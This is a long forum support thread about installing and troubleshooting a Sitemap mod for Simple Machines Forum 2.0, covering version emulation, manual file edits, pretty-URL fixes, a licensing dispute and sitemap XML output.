Quote from: PLAYBOY on July 17, 2011, 08:49:13 AM
QuoteDon't be lazy. There's nothing wrong with emulating. The mod author isn't your slave, nor has he made the mod specifically for you.

:)

Quotetried emulating rc2,rc3,rc4,rc45.
QuoteThat's strange. Emulation for 2.0 RC3 worked for me. Try selecting different versions for emulation until your sitemap mod shows "install" (just as mine shows "uninstall" when I emulate 2.0 RC3, as shown in the attachments below). If all else fails, then you'll need to do a manual installation.
QuoteAh! no luck.. :/
Tried many times
QuoteI'm getting the "incopatible package" message while trying to install...

This is why people dont want to emulate...
Its not about being lazy. Its about convenience and having less problem.
I am not asking for a personal help, -which i could be because this is one of the purposes of this forum- but i am asking for a regular update for EVERYBODY! even for you.
And I should note, from the post right above yours, that all of these issues were caused by someone using the wrong version of the mod compared to their SMF version.
Title: Re: Sitemap
Post by: impreza on July 26, 2011, 01:03:15 PM
unfortunately does not work with the forum 2.0 - whether the package will be corrected by the authors?
Title: Re: Sitemap
Post by: MiY4Gi on July 26, 2011, 06:36:33 PM
Quote from: tomeh on July 26, 2011, 01:03:15 PM
unfortunately does not work with the forum 2.0 - whether the package will be corrected by the authors?

I'm currently using it with SMF 2.0.
Title: Re: Sitemap
Post by: micky_2556 on July 26, 2011, 07:41:21 PM
how can i install it on the last version on smf on version 2
Title: Re: Sitemap
Post by: Matt G on July 26, 2011, 07:58:36 PM
Quote from: micky_2556 on July 26, 2011, 07:41:21 PM
how can i install it on the last version on smf on version 2

Go to advanced >> Under emulate version type SMF 2.0 RC4 - Save, and then install the mod. After installed, go back to advanced and click revert and save.
Title: Re: Sitemap
Post by: impreza on July 27, 2011, 02:50:27 AM
But why the package is not adjusted only need to change the setting yourself or emulation, it is not compatible with SMF 2.0 and such is now the official position
Title: Re: Sitemap
Post by: MiY4Gi on July 27, 2011, 03:53:32 AM
Quote from: tomeh on July 27, 2011, 02:50:27 AM
But why the package is not adjusted only need to change the setting yourself or emulation, it is not compatible with SMF 2.0 and such is now the official position

Mods authors usually have other things to do, and unfortunately protocol/procedure does not allow just anyone to update the package.
Title: Re: Sitemap
Post by: SlammedDime on July 27, 2011, 11:43:46 AM
Not really protocol/procedure, just ignorance on most mod author's parts in not licensing their modifications.

I simply haven't had time to update the package, been very busy with work and real life.
Title: Re: Sitemap
Post by: MiY4Gi on July 27, 2011, 12:46:47 PM
Quote from: SlammedDime on July 27, 2011, 11:43:46 AM
Not really protocol/procedure, just ignorance on most mod author's parts in not licensing their modifications.

I simply haven't had time to update the package, been very busy with work and real life.

Well, I was actually referring to those members that modify packages then attach them in support threads. Apparently it's not allowed. Before you can submit or attach any updated or modified versions of a mod, you first need to take over the mod (i.e. become the new mod developer). Well, that's what I heard.
Title: Re: Sitemap
Post by: Illori on July 27, 2011, 12:49:20 PM
correct, unless the license allows which most older mods do not include a license so users are not allowed to release them in anyway unless they have permission from the mod author.
Title: Re: Sitemap
Post by: SlammedDime on July 27, 2011, 06:27:41 PM
I've started to update this package for SMF 2.0 Gold.  Not sure when it will be done, as I'm making it use integration hooks with no code changes to SMF.

http://code.mattzuba.com/sitemap/overview
Title: Re: Sitemap
Post by: gay on August 06, 2011, 03:29:42 PM
SMF 2.0 Last

Install Complete

But, index.php?action=sitemap

Invalid selection

test with Maximum number of topics to display in XML sitemap = 5, 10, 15, 20, - 100

show Invalid selection ever


Edit : Hi, I'm so sorry

i checked install guide

some file remove wrong path

now is not plobem

Thank you.
Title: Re: Sitemap
Post by: Tanakino on August 08, 2011, 04:34:14 AM
Hi there, i

I'm using smf 1.1.14 and I've got some problems with prettyurl and sitemap mods .

I have installed both but i have always a not-friendly sitemap. I tried some tricks just found in this board, but  doesn't work.

Someone said to change this line ( line 189 in  Sources/sitemap.php ) :

if (!empty($modSettings['pretty_enable_filters']) && $modSettings['pretty_enable_filters'] == 'on') {

in :
/if (!empty($modSettings['pretty_enable_filters']) && $modSettings['pretty_enable_filters'] == '1') {

but doesn't work ...

someone else told to cancel the entire line like this :
//if (!empty($modSettings['pretty_enable_filters']) && $modSettings['pretty_enable_filters'] == 'on') {

Doest't work either ...

What can i do ??? Please help !!

Title: Re: Sitemap
Post by: Tanakino on August 08, 2011, 04:55:28 AM
Ok , i fixed .


I don't know why but there was 2 different file on my server called "sitemap.php" :

- sitemap.php
- Sitemap.php

I was just editing the first and it doesn't work . I did cancel the first and modify the second like this :

if (!empty($modSettings['pretty_enable_filters']) && $modSettings['pretty_enable_filters'] == '1') {
( instead of if (!empty($modSettings['pretty_enable_filters']) && $modSettings['pretty_enable_filters'] == 'on') { )

and it worked fine !!!!!!!

Bye

tanakino
Title: Re: Sitemap
Post by: share2learn on August 21, 2011, 12:39:27 PM
Lastest version of sitemap is for SMF 2.0RC4

I'm looking for sitemap for SMF 2.0 Final.

Do author have plan for this version ?
Title: Re: Sitemap
Post by: Eclipse16V on August 22, 2011, 09:01:24 AM
The last Version run without problems on my 2.0 Final.
Title: Re: Sitemap
Post by: derby on August 23, 2011, 06:39:15 AM
will it work on rc3?
Title: Re: Sitemap
Post by: PLAYBOY on August 30, 2011, 10:57:38 PM
Is this mod ever gonna be updated to 2.0???
Title: Re: Sitemap
Post by: Suki on August 30, 2011, 10:59:20 PM
Quote from: Eclipse16V on August 22, 2011, 09:01:24 AM
The last Version run without problems on my 2.0 Final.


As you see, this mod can be used in a 2.0 installation,  you just need to either use the emuation feature or manually modify the package-info.xml to add 2.0
Title: Re: Sitemap
Post by: smtek on August 31, 2011, 01:38:59 AM
Quote from: Miss All Sunday on August 30, 2011, 10:59:20 PM
Quote from: Eclipse16V on August 22, 2011, 09:01:24 AM
The last Version run without problems on my 2.0 Final.


As you see, this mod can be used in a 2.0 installation,  you just need to either use the emuation feature or manually modify the package-info.xml to add 2.0
what changes to make in the package-info.xml file ?
Title: Re: Sitemap
Post by: Eclipse16V on August 31, 2011, 03:59:07 AM
<?xml version="1.0"?>
<!DOCTYPE package-info SYSTEM "http://www.simplemachines.org/xml/package-info">

<package-info xmlns="http://www.simplemachines.org/xml/package-info" xmlns:smf="http://www.simplemachines.org/">
<id>slammeddime:sitemap</id>
<name>Sitemap</name>
<version>2.2.0</version>
<type>modification</type>

<install for="2.0 RC3, 2.0 RC4, 2.0">
<readme parsebbc="true">readme.txt</readme>
<database>add_settings.php</database>
<modification type="file">install.xml</modification>
<require-file name="Sitemap.php" destination="$sourcedir" />
<require-file name="Sitemap.template.php" destination="$themedir" />
<require-dir name="Sitemap-Ext" destination="$sourcedir" />
<redirect url="?action=admin;area=modsettings;sa=sitemap" timeout="5" />
</install>

<uninstall for="2.0 RC3, 2.0 RC4, 2.0">
<modification type="file" reverse="true">install.xml</modification>
<remove-file name="$sourcedir/Sitemap.php" />
<remove-file name="$sourcedir/Sitemap-Ext/sitemap_topics.php" />
<remove-file name="$sourcedir/Sitemap-Ext/sitemap_boards.php" />
<remove-file name="$themedir/Sitemap.template.php" />
</uninstall>
</package-info>
Title: Re: Sitemap
Post by: punjablovers on August 31, 2011, 04:47:14 PM
look really cool plugin! any chance for updates? its about year ago it was updated?
Title: Re: Sitemap
Post by: Suki on August 31, 2011, 05:25:03 PM
punjablovers  read the 4 responses above yours ;)
Title: Re: Sitemap
Post by: supersasho on September 02, 2011, 10:25:47 AM
I tried to emulate rc4 version and it installed (but there was one error in writing in admin.php file), so i guess that's why i can't see any tab/options in configuration>modifications called sitemap. Any ideas why?
Title: Re: Sitemap
Post by: Suki on September 02, 2011, 10:28:59 AM
the emulate feature only allows you to install the mod,but it does not prevent errors,  you will need to manually edit Sources/Admin.php file, take a look at the steps in the parser:


http://custom.simplemachines.org/mods/index.php?action=parse;mod=755;attach=160006;smf_version=2.0_RC4


there is the steps for Admin.php file.
Title: Re: Sitemap
Post by: MiY4Gi on September 13, 2011, 07:03:36 PM
I've got a slight problem. All my forum's URL's end with a forward slash "/", but the sitemap displays the URL without this forward slash. I know that the default SMF install doesn't have this forward slash so it's probably a problem caused by my portal. Where does the sitemap get the URL's? Both URL's work, with or without the slash, but I only want the sitemap to show the one with the slash. What code do I need to change to do this?
Title: Re: Sitemap
Post by: feline on September 14, 2011, 02:20:14 PM
Because you use PortaMx and the SEF engine, please read this topic:
http://portamx.com/2715/sitemap-slow-if-sef-enabled/
Title: Re: Sitemap
Post by: MiY4Gi on September 14, 2011, 03:00:39 PM
Quote from: feline on September 14, 2011, 02:20:14 PM
Because you use PortaMx and the SEF engine, please read this topic:
http://portamx.com/2715/sitemap-slow-if-sef-enabled/

That topic doesn't fix my problem, but I'll reply to that thread anyway.
Title: Re: Sitemap
Post by: impreza on September 19, 2011, 03:08:20 AM
Will this get updated to the 2.0 forum?
Title: Re: Sitemap
Post by: Suki on September 19, 2011, 09:19:00 AM
This mod does work on a 2.0 installation, see above answers.
Title: Re: Sitemap
Post by: Thilo on September 21, 2011, 05:53:33 AM
Feature Request:

On large boards a request really needs cpu (? HDD ? or whatever) power.
I set the cache to 28800 seconds and a maximum of 17000 sites is displayed in the sitemap

But if the google (or yahoo) bot indexes the site (loads the sitemap) sometimes it crashes the whole mySQL, which i have to restart then.

So it would be really cool to find a way to generate the sitemap (for example) every 6 hours automatically in a way which doesn't bother the server so much, and caching that file for the moment the bot asks for it....

Right now it seems that the file is generated just in time the bot says "hello"...



Title: Re: Sitemap
Post by: donjazzy on September 22, 2011, 02:51:29 PM
Hello, is there any other method I can use to make SEF url built in default function of smf work with the sitemap. Since I installed the site map, SEF url does not work even after checking and unchecking the box severally in Admin. Thanks
Title: Re: Sitemap
Post by: derby on September 26, 2011, 06:57:46 AM
will it work for RC3?
Title: Re: Sitemap
Post by: UserName900 on September 26, 2011, 07:08:28 AM
Hello.
SMF 2.0.1 + Dream Portal
Mod SiteMap it is not established on version 2.0.1. Writes that the data is damaged. Перекачевал some times. The archive is unpacked, but not to be put.
Forgive for bad English.
Title: Re: Sitemap
Post by: derby on September 26, 2011, 07:25:09 AM
Quote from: UserName900 on September 26, 2011, 07:08:28 AM
Hello.
SMF 2.0.1 + Dream Portal
Mod SiteMap it is not established on version 2.0.1. Writes that the data is damaged. Перекачевал some times. The archive is unpacked, but not to be put.
Forgive for bad English.
okay..thanks
Title: Re: Sitemap
Post by: outlawsys on October 03, 2011, 01:04:33 AM
Excellent work on this mod, it works well for me!
Title: Re: Sitemap
Post by: mageguild on October 03, 2011, 11:41:55 PM
I am unable to install the SMF Sitemap feature. 

I can upload the ZIP file using the package manager, but when I try to install the mod, I get the error

The package you are trying to download or install is either corrupt or not compatible with this version of SMF.

If I extract the files and manually FPT them, the package manager locates the directors (under Browse Packages), but there is no link to install the packages. 

Can anyone provide any help, that would be great. 
Title: Re: Sitemap
Post by: TheListener on October 03, 2011, 11:44:05 PM
QuoteThe package you are trying to download or install is either corrupt or not compatible with this version of SMF.


You have to emulate the version.
Title: Re: Sitemap
Post by: mageguild on October 04, 2011, 12:24:11 AM
Quote from: Brack1 on October 03, 2011, 11:44:05 PM
You have to emulate the version.

Hey, what do you mean by emulate the version?  Could you provide some more information or documentation on this?

Thanks
Title: Re: Sitemap
Post by: Suki on October 04, 2011, 11:07:07 AM
Go to admin / packages  below the mod list there is an advance link, click on it, it will show you a text field, on that field you will type the version you want to emulate,  in this case it would be 2.0 RC4   click on apply,  now you can install the mod, once installed, click on advance once again and then click on revert.
Title: Re: Sitemap
Post by: Dblog on October 07, 2011, 06:22:22 AM
there are some errors if we emulate
cant this mod be updated for SMF 2.0.1?

its been almost 11 months since its updated
Title: Re: Sitemap
Post by: Suki on October 07, 2011, 10:34:52 AM
the emulate option only allow you to install, it does not prevent errors, even if this mod is updated to 2.0.1 you will still have errors on install.

If you have errors on install, you need to manually edit the files with the errors.

and the 2.0.1 version was released on October,  nearly a month  old and certainly not 11...
Title: Re: Sitemap
Post by: Dblog on October 09, 2011, 01:57:58 PM
i meant the MOD wasn't updated since 11 months
Title: Re: Sitemap
Post by: SimpleGost on October 12, 2011, 03:10:01 PM
Jeste imam taj mod, nema veze dzonny ce mi srediti dog. smo se platicu mu...
Title: Re: Sitemap
Post by: Suki on October 12, 2011, 04:01:15 PM
InternetFazoni, use your Language support board: Language Specific Support (http://www.simplemachines.org/community/index.php?board=12.0)
Title: Re: Sitemap
Post by: SimpleGost on October 12, 2011, 04:10:53 PM
Sorry, i have opened 2 topics and i answered to wrong :/
Title: Re: Sitemap
Post by: MBry0 on October 16, 2011, 12:06:12 PM
Hi!
I've installed the mod and everythings works fine. Only 1 simple question. My board was a phpbb3 board. the sitemap.xml generator used there gives me a 5 mb xml file with about 25000 links (the total number of posts).
the sitemap.xml generator used here gives me a 415 kb file with 1981 links.
is there something i should do?
Title: Re: Sitemap
Post by: Dblog on October 16, 2011, 03:04:00 PM
check those links
each new message in a topic can be a link(which is useless for search engine)
Title: Re: Sitemap
Post by: MBry0 on October 17, 2011, 02:46:42 AM
Quote from: Cblog on October 16, 2011, 03:04:00 PM
each new message in a topic can be a link(which is useless for search engine)
It depends on the discussion. There are discussions in wich every post have useful informations.

Anyway, you're right. the sitemap generator is taking only the thread links.
Title: Re: Sitemap
Post by: frytec on October 25, 2011, 02:31:30 AM
this mod works on smf 2.0.1?
when i try to install i get this error "The package you are trying to download or install is either corrupt or not compatible with this version of SMF."
Title: Re: Sitemap
Post by: Dblog on October 30, 2011, 01:27:59 PM
the mod is very outdated and not updates since almost an yr
Title: Re: Sitemap
Post by: Suki on October 30, 2011, 06:47:25 PM
it does work on 2.0.1

the mod is only outdated on the forum version it supports,  sinces there aren't that much changes between RC4 and 2.0.1, at least non of the changes interfere with this mod, you can install this mod with no issues on your 2.0.1 installation, you just need to emulate versions.

http://wiki.simplemachines.org/smf/How_can_install_a_mod_that_doesn't_work_in_my_SMF_version
Title: Re: Sitemap
Post by: hartiberlin on November 10, 2011, 11:34:42 PM
What about SlimmedDime !?
Why does he not update this MOD finally !?

Why are some MOD producers so lame ?

I guess after 11 months of no updates these MOD sources must be given to
other more caring programmers, so they can continue the work on it.

This should be a rule on the simplemachines.org forum, so that MOD
developpers are forced to keep their MODs updated...
and the sources must be published or they should be forced to quit,
if they don´t update their MODs for the newest SMF version at least after 1 month !

Otherwise it makes no sense...

Regards, Stefan.
Title: Re: Sitemap
Post by: Suki on November 11, 2011, 08:52:50 AM
Quote from: hartiberlin on November 10, 2011, 11:34:42 PM
What about SlimmedDime !?
Why does he not update this MOD finally !?

Why are some MOD producers so lame ?

I guess after 11 months of no updates these MOD sources must be given to
other more caring programmers, so they can continue the work on it.

This should be a rule on the simplemachines.org forum, so that MOD
developpers are forced to keep their MODs updated...
and the sources must be published or they should be forced to quit,
if they don´t update their MODs for the newest SMF version at least after 1 month !

Otherwise it makes no sense...

Regards, Stefan.


Are you serious?

really?
really????

SlammedDime is lame because he's not here at your service?

Do you actually want to force someone to do free stuff to you?


dear lord...


3 points:

1.- This mod is fully compatible with SMF 2.0.1, as I have been saying it in this topic, you only need to use the emulate feature and that's it.

2.- This mod was released under a permissive license, read the mod's page description: http://custom.simplemachines.org/mods/index.php?mod=755

QuoteThis work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported License (applies to all versions past and present).

http://creativecommons.org/licenses/by-nc-nd/3.0/

Which means you can legally update this mod and release the result following the the conditions set by the original mod author.

With that being said, no one is stopping you from updating this mod, so please, save the whining for your self.


3.- The world does not spin around you.
Title: Re: Sitemap
Post by: Deaks on November 12, 2011, 11:45:43 AM
no thats wrong, if you read the license correctly you will see that you cannot legally update the mod and release it:

Quote from: http://creativecommons.org/licenses/by-nc-nd/3.0/No Derivative Works — You may not alter, transform, or build upon this work.
Title: Re: Sitemap
Post by: feline on November 12, 2011, 11:51:54 AM
Quote from: Miss All Sunday on November 11, 2011, 08:52:50 AM
Are you serious?
Well ...
Last Modified:    22 November 2010, 20:45:00
Latest Version:    2.2.1
Compatible With:    1.1.12, 2.0 RC4

Last update 1 year ago .. RC4 .. Hmmm....


Title: Re: Sitemap
Post by: Suki on November 12, 2011, 09:28:07 PM

Whatever...  whining is whining...
Title: Re: Sitemap
Post by: Deaks on November 13, 2011, 07:48:52 AM
im sorry but you cannot sit there and advise people to release an updated mod when the license forbids it, thats wrong.
Title: Re: Sitemap
Post by: feline on November 13, 2011, 07:49:53 AM
Quote from: Runic on November 12, 2011, 11:45:43 AM
no thats wrong, if you read the license correctly you will see that you cannot legally update the mod and release it:

Quote from: http://creativecommons.org/licenses/by-nc-nd/3.0/No Derivative Works — You may not alter, transform, or build upon this work.
exact that is the point ... otherwise we would have made a Fork.
Title: Re: Sitemap
Post by: Suki on November 13, 2011, 09:33:03 AM
OK, I was under the wrong impression about the license of this mod, my bad, however, my other point still stands.

You cannot just force someone to keep building free things for you...  and the other one, I know the mod states its suitable for RC4, however, it can be used in any 2.0.x SMF installation with no issues at all, a mod author can't prevent  the user's laziness...  no matter how active the mod author is...
Title: Re: Sitemap
Post by: hartiberlin on November 17, 2011, 04:57:06 PM
Well, then why doesn´t he say, that he has got no more time to update it and
give it to a different programmer like Feline, so she could develop it further...?

Why is it so complicated to admit, that he
will not update it any further ?
Title: Re: Sitemap
Post by: Bugo on November 18, 2011, 01:19:59 AM
Why is it so complicated to read this:
Quote from: Miss All Sunday on October 30, 2011, 06:47:25 PM
it does work on 2.0.1

the mod is only outdated on the forum version it supports,  sinces there aren't that much changes between RC4 and 2.0.1, at least non of the changes interfere with this mod, you can install this mod with no issues on your 2.0.1 installation, you just need to emulate versions.

http://wiki.simplemachines.org/smf/How_can_install_a_mod_that_doesn't_work_in_my_SMF_version
Title: Re: Sitemap
Post by: hartiberlin on November 22, 2011, 07:23:36 PM
Yes, it works, but it is a pain and you need to patch it also in another instance to get it to work
with PortaMX
See here:
http://portamx.com/2715/sitemap-slow-if-sef-enabled/

and if SlimmedDime does not want to develop it further, he should say so.

I donated 20 US$ to get a good version, but if programmers don´t update it
after 11 months, they should resign and give the source code to other programmers,
who want to develop it further and Feline from PortaMX wanted to enhance it, but he refused it...  >:(

P.S. for me it also works now only with 5000 threads and not with 20.000 threads as the default was...
at 20.000 threads the sitemap.xml file is not anymore generated....
Title: Re: Sitemap
Post by: SereneSeaForum on December 08, 2011, 02:31:39 PM
So let me clarify something:

it says that the sitemap is compatible with 2.0 RC4. So in the advanced area of the package, i just type in 2.0 RC4 then apply then it will be installed?  I am using smf 2.0.1.

Thanks
Title: Re: Sitemap
Post by: Suki on December 08, 2011, 03:23:10 PM
the emulation feature only tells your forum to "accept" a mod for RC4, you still need to install the mod with the packager manager as any other mod, then revert the emulation back to 2.0.1
Title: Re: Sitemap
Post by: SereneSeaForum on December 08, 2011, 05:42:22 PM
can u please elaborate on this process...? It is a little bit confusing...
thanks
Title: Re: Sitemap
Post by: Suki on December 08, 2011, 06:12:12 PM
take a look at:  http://wiki.simplemachines.org/smf/How_can_install_a_mod_that_doesn't_work_in_my_SMF_version
Title: Re: Sitemap
Post by: SereneSeaForum on December 08, 2011, 10:57:04 PM
so specifically in my case: i am using smf 2.0.1. (the latest version, right?)

then i should write 2. 0. RC4 in the advanced field, then apply. (so is 2.0 RC 4 newer than 2.0.1?)

if not , i assume that even if it is called emulate, we are actually downgrade smf , right?
Title: Re: Sitemap
Post by: Suki on December 08, 2011, 11:05:13 PM
you should type: 2.0 RC4


and no, 2.0 RC4 is not newer than 2.0.1

you aren't "downgrading"  SMF,  all you are doing is matching the SMF version with the one that the mod supports.
Title: Re: Sitemap
Post by: SereneSeaForum on December 09, 2011, 12:56:03 AM
ok. thank you
Title: Re: Sitemap
Post by: herace on December 26, 2011, 08:45:57 AM
Please, update this mod.
Title: Re: Sitemap
Post by: humbleworld on December 30, 2011, 06:19:53 PM
I can't wait for this MOD to be updated. It's been a long wait.
Title: Re: Sitemap
Post by: Kindred on December 30, 2011, 07:03:02 PM
Huh?

It works fine on 2.0.2
Title: Re: Sitemap
Post by: rocknroller on January 04, 2012, 05:02:28 PM
i have problem with pretty url

links look like this

http://www.logooff.net/themes-support/index.php

and should be look like this

http://www.logooff.net/themes-support/

can you me help to reslove this?
Title: Re: Sitemap
Post by: humbleworld on January 04, 2012, 10:12:42 PM
Thanks Kindred. I installed Archive MOD of vbgamer. Will sitemap MOD duplicate the function of Archive MOD?
Title: Re: Sitemap
Post by: Realinfo on January 09, 2012, 08:57:54 AM
can it work on 2.0.2...........
Title: Re: Sitemap
Post by: Suki on January 09, 2012, 09:01:38 AM
Quote from: Realinfo on January 09, 2012, 08:57:54 AM
can it work on 2.0.2...........


Please read a few post above yours...
Title: Re: Sitemap
Post by: Realinfo on January 12, 2012, 11:34:06 AM
Ok.... thanks.......... I able to install...........

but when i run /index.php?action=sitemap;xml
then I got this.........

Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 836817 bytes) in /home/realinfo/public_html/Source/Load.php on line 2635



while /index.php?action=sitemap
seems ok............

please help............
Title: Re: Sitemap
Post by: Fisch.666 on January 15, 2012, 09:56:41 AM
Hi!

To add single pages and articles from Portamx (http://www.portamx.com) to the Sitemap  i've created an extension for this sitemap addon. I've added this extension as an attachment to this post.

Please Note
---------------
I have only very basic knowledge of php and smf so use this extension at your own risk. Maybe a more experienced user can have a look at this extension.

For singlepages in the .xml sitemap priority is statically set to 1.0 and lastchange to the current timestamp (with time()) because we have no create date for the single page.
Title: Re: Sitemap
Post by: Fisch.666 on January 16, 2012, 06:52:39 PM
Ok, windows users got some problems with the attached tar.gz file so i've uploaded a new .zip archive to the post above.
Title: Re: Sitemap
Post by: SimpleGost on February 29, 2012, 03:28:08 PM
http://www.internetfazoni.com/index.php?action=sitemap;xml
I have a problem, links do not show in xml sitemap...
I really need it for google webmaster tools...
<loc/> is empty
Solution?
i using smf 2.0.2
Anyone had a same problem?
Title: Re: Sitemap
Post by: frytec on March 01, 2012, 12:17:12 AM
@InternetFazoni, try uninstall/reinstall (redownload).. i use this mod for a long time and never seen something like this...
Title: Re: Sitemap
Post by: SimpleGost on March 01, 2012, 05:30:37 AM
of course it didnt work out -.-"
Title: Re: Sitemap
Post by: Android4Life on March 09, 2012, 10:45:17 AM
I believe I installed it correctly, but I can't seem to find it, I did set it to xml. Please help!
Title: Re: Sitemap
Post by: Rust on March 14, 2012, 05:10:03 PM
I'm trying to get it to load on a 2.0.2 forum and and always get:  "The package you are trying to download or install is either corrupt or not compatible with this version of SMF."

Any ideas?  I've tried it about ten times now various ways.
Title: Re: Sitemap
Post by: Kindred on March 14, 2012, 06:10:07 PM
Use version emulate...
Title: Re: Sitemap
Post by: Rust on March 14, 2012, 07:32:32 PM
Which version to emulate?  I've tried a couple, including 2.0.1, with the same results.  Thanks.
Title: Re: Sitemap
Post by: Kindred on March 15, 2012, 02:20:51 AM
well, look at the mod page...

2.0 RC4
Title: Re: Sitemap
Post by: Rust on March 15, 2012, 10:28:32 AM
The body of the text mentioned 2.0.2, but I see the compatibility field now.  I'll give a go this morning.  Thanks. :)
Title: Re: Sitemap
Post by: herace on March 23, 2012, 06:07:48 PM
Please, update for 2.0.2!
Title: Re: Sitemap
Post by: Kindred on March 23, 2012, 06:54:13 PM
works just fine on 2.0.2.....
Title: Re: Sitemap
Post by: simon36 on March 27, 2012, 05:42:05 PM
Install fail on 2.0.2...
Title: Re: Sitemap
Post by: TheListener on March 27, 2012, 05:52:31 PM
Quote from: simon36 on March 27, 2012, 05:42:05 PM
Install fail on 2.0.2...

have a look at my mod emulate link or use the parser rather than just state install fail which doesn't tell anyone the error.
Title: Re: Sitemap
Post by: SimpleGost on March 29, 2012, 08:47:54 AM
Quote from: InternetFazoni on February 29, 2012, 03:28:08 PM
http://www.internetfazoni.com/index.php?action=sitemap;xml
I have a problem, links do not show in xml sitemap...
I really need it for google webmaster tools...
<loc/> is empty
Solution?
i using smf 2.0.2
Anyone had a same problem?

Please help, it is urgent!
Title: Re: Sitemap
Post by: promonkey on April 09, 2012, 03:52:03 PM
iv tried to install this but when i try to upload the file it says its corrupt or unable to install onto my version 2.0.2 but how can i use the emulator unless the file is on the site?
Title: Re: Sitemap
Post by: Suki on April 09, 2012, 03:58:47 PM
Upload the mod, do not install it, just upload the mod, now apply the emulation, you will see the install link next to the mod name and you will be able to install it

Title: Re: Sitemap
Post by: promonkey on April 09, 2012, 04:38:07 PM
lol i feel stupid thanks sorted it only thing is i could not find this part

in file  ./Themes/default/index.template.php


find

<li class="copyright">', theme_copyright(), '</li>

add after

<li><a href="', $scripturl, '?action=sitemap"><span>', $txt['sitemap'] ,'</span></a></li>

i have attached file could somone please add in the correct place :)

Thanks
Title: Re: Sitemap
Post by: Kindred on April 09, 2012, 04:38:39 PM
search for copyright
Title: Re: Sitemap
Post by: Suki on April 09, 2012, 04:42:14 PM
It's a little different, use this one
Title: Re: Sitemap
Post by: promonkey on April 09, 2012, 04:48:24 PM
Thanks :D all sorted, great help from you both :D
Title: Re: Sitemap
Post by: SimpleGost on April 19, 2012, 04:51:13 PM
Quote from: InternetFazoni on March 29, 2012, 08:47:54 AM
Quote from: InternetFazoni on February 29, 2012, 03:28:08 PM
http://www.internetfazoni.com/index.php?action=sitemap;xml
I have a problem, links do not show in xml sitemap...
I really need it for google webmaster tools...
<loc/> is empty
Solution?
i using smf 2.0.2
Anyone had a same problem?

Please help, it is urgent!

I am gonna die :( HELP!
Title: Re: Sitemap
Post by: Kindred on April 19, 2012, 08:38:00 PM
well, it would seem that, whatever file you are using is broken...  because I have the mod installed and it shows up correctly
http://los.turtleshellprod.com/index.php?action=sitemap;xml

I suggest that you replace the sources/sitemap.php file with a clean copy from the mod.
Title: Re: Sitemap
Post by: fullmoonya on April 29, 2012, 12:20:15 AM
does anyone know how could i submit this sitemap to google webmaster tool?..im getting problem everytime i submit it to google..it always says that "Your Sitemap appears to be an HTML page. Please use a supported sitemap format instead"..what should i do?..please help me here..
Title: Re: Sitemap
Post by: SimpleGost on May 01, 2012, 04:42:23 PM
Quote from: Kindred on April 19, 2012, 08:38:00 PM
well, it would seem that, whatever file you are using is broken...  because I have the mod installed and it shows up correctly
http://los.turtleshellprod.com/index.php?action=sitemap;xml

I suggest that you replace the sources/sitemap.php file with a clean copy from the mod.

did not help, please help me :(
SAVE ME!
:(
PLEASE!
Title: Re: Sitemap
Post by: MESWEB on May 02, 2012, 06:02:28 PM
I do it. I upgrade to 2.0.2
Title: Re: Sitemap
Post by: Farmacija on May 09, 2012, 10:13:34 PM
I install this mod manually for smf 2.0.2 by following instructions here -> http://custom.simplemachines.org/mods/index.php?action=parse;mod=755;attach=160006;smf_version=2.0_RC4  and then run add_settings.php

Its work fine but /xml version doesn't show properly, clickung on link xml it shows page http://www.farmaceuti.com/forum/sitemap/xml./ without anything in it except "XML Parsing Error: no element found
Location: http://www.farmaceuti.com/forum/sitemap/xml./
Line Number 1, Column 1:"

XML version is not so  important to me, so, i'm satisfied because i succeed to install this mod on 2.0.2 :)
Title: Re: Sitemap
Post by: Fisch.666 on July 04, 2012, 09:38:17 AM
Hi,

i've updated my sitemap extension for PortaMx 1.5. With PortaMx singlepages have now an create date and the priority of the sitemap extension is now calculated correctly. Additionally a new option for enabling / disabling single pages an articles in the sitemap was added with Portamx 1.5.

If you're using a version prior PortaMx 1.5 please use this version of the extension:

http://www.simplemachines.org/community/index.php?topic=170813.msg3252607#msg3252607
Title: Re: Sitemap
Post by: PersianDeveloper on August 07, 2012, 11:35:47 AM
seems like there are tons of SMF owners here having the same problem like me
the sitemap is not installing on my forum


please update it for smf 2.0.2
as there is just 1 other sitemap package but it is not OK with Google webmasters center
Title: Re: Sitemap
Post by: Kindred on August 07, 2012, 11:57:47 AM
it installs just fine on 2.0.2, just use emulate...
Title: Re: Sitemap
Post by: PersianDeveloper on August 08, 2012, 02:32:50 AM
Quote from: Kindred on August 07, 2012, 11:57:47 AM
it installs just fine on 2.0.2, just use emulate...

emulate?
whats that?
Title: Re: Sitemap
Post by: Shambles on August 08, 2012, 04:31:56 AM
Quote from: PersianDeveloper on August 08, 2012, 02:32:50 AM
emulate?
whats that?
That's telling the package manager to pretend your forum is running a different [sub]version of SMF, just so it can install a package that otherwise wouldn't pass the version test.

Click the Advanced link at the bottom of the installation page and it'll let you enter a value (version of SMF) that will make the package manager happy. Don't forget to revert the version before you install something else.
Title: Re: Sitemap
Post by: Kindred on August 08, 2012, 07:51:21 AM
http://wiki.simplemachines.org/smf/Package_manager#Advanced
Title: Re: Sitemap
Post by: PersianDeveloper on August 08, 2012, 04:54:48 PM
Thanks

Its working now
and reverted it after the installation

now what url to submit to google webmaster sitemap section?

-------------------
Edit:
Ah got it
It must be: FORUM/index.php?action=sitemap;xml
Title: Re: Sitemap
Post by: bearstreet on August 17, 2012, 12:45:24 PM
emulated for previous smf version, and added the sitemap to google webmaster tools
http://testbear1234.site88.net/index.php?action=sitemap;xml

urls indexed 5
but I am getting this error in google webmaster tools
any idea as to why am I getting this error
error is on line 38, as shown in bold below

Parsing error
We were unable to read your Sitemap. It may contain an entry we are unable to recognize. Please validate your Sitemap before resubmitting.




This XML file does not appear to have any style information associated with it. The document tree is shown below.
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">
<url>
<loc>http://testbear1234.site88.net/index.php</loc>
<lastmod>2012-08-17T11:58:05-05:00</lastmod>
<changefreq>always</changefreq>
<priority>1.0</priority>
</url>
<url>
<loc>
http://testbear1234.site88.net/math-homework-board/math-help-online-free/
</loc>
<lastmod>2012-08-17T11:19:58-05:00</lastmod>
<changefreq>hourly</changefreq>
<priority>1.0</priority>
</url>
<url>
<loc>
http://testbear1234.site88.net/general-discussion/welcome-to-smf!/
</loc>
